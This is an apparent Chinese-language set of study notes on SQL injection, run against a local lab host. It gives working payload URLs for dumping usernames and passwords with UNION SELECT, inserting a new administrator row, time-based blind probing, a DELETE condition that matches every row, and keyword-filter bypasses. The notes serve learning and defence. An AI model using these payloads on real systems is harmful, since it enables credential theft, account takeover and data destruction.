1.SQL 注入攻击是开发者在开发程序时,对客户输入的参数过滤不严格,导致用户能更改数据库。 一.数字型注入: 1.访问链接http://192.168.20.133/sqll.php?id=2 的页面和http://192.168.20.133/sqll.php?id=3-1 的页面一样,可以说明这个注入点是数字型注入。表现为源码输入点“$_GET['id'] ”附近没有引号包裹。 2.链接模板:http://192.168.20.133/sqll.php?id=1 union select user,pwd from wp_user 3.limit 1,1 :条件限定,作用是查询结果第二条记录后的1条记录。 二.字符型注入: 1.访问http://192.168.20.133/sql2.php?id=3-1 的页面为空,猜测不是字符型,继续访问http://192.168.20.133/sql2.php?id=2a ,有页面,说明是字符型注入。 2.空格的编码是“%20 ”,“' ”的编码是“%27 ”,“# ”的编码是“%23 ”。 3.访问http://192.168.20.133/sqll.php?id=1%27%23 的sql语句是id = '1'#' ,后面的操作就与数字型注入一样了。 4.where 是select 操作的一个判断条件,1' and '1 相当与sql 语句的'1' and '1' 5.布尔盲注:通过注入来推测出数据 三.报错注入: 四注入点: (一)、select :用于数据表记录的查询 2.注入点在select 的后面:http://192.168.20.133/sqln1.php?id=(select pwd from wp_user) as title 3.注入点在表名之后:http://192.168.20.133/sqln1.php?id=select title from (select pwd AS title from wp_user)x 4.如果注入点有反引号要先闭合反引号 5.注入点在where 或having 后:先判断有无引号包裹,有的话注释掉,没有的话直接注入 6.注入点在GROUP BY 或者ORDER BY 后:title=id desc ,(if(1,sleep(1),1)) 会让页面迟1秒 7.sql 注入攻击之所以存在,是因为开发者在编写系统框架时,无法使用预编译的办法处理这类参数;只要对输入的值进行白名单比对,就可以预防大部分的sql 攻击。 8.注入点在limit 之后: (二)、insert :插入数据表的sql 语句 1.注入字段名或字段值的地方,且没有回显信息。 2.注入点位于tbl_name 之后:http://192.168.20.133/insert.php?table=wp_user values(2,'newadmin','newpass')%23 ,成功插入一个新的管理员 3.注入点位于VALUES : (三)、update :数据库记录的更新。 2.update 语句: 1.update wp_user set id=3 where user ='23' ; 2.update wp_user set id=3, user='xxx' where user ='23' ; 1.delete :删除某个表的全部或指定行的数据,注入点通常在where 。 delete 语句:1.delete from wp_news where id=1 or 1 ; 2.delete from wp_news where id=1 and sleep(1) ; 五.注入与防御: 1.可以代替空白符的有:%0a 、%0b 、%0c 、%0d 、%09 、%a0 (在特定字符集才可以使用)和/**/ 、() 等 2.将select 替换为空:可以用嵌套的方式,例如seselectlect 形式,过滤后为select 。可以用大小写的方式"sEleCt "。 select 语句:http://192.168.20.132/replace.php?id=-1%09union%09seselectlect%091,2 3.正则匹配: 4.替换了单引号或双引号,忘记了反斜杠: 5.逃逸引号:
|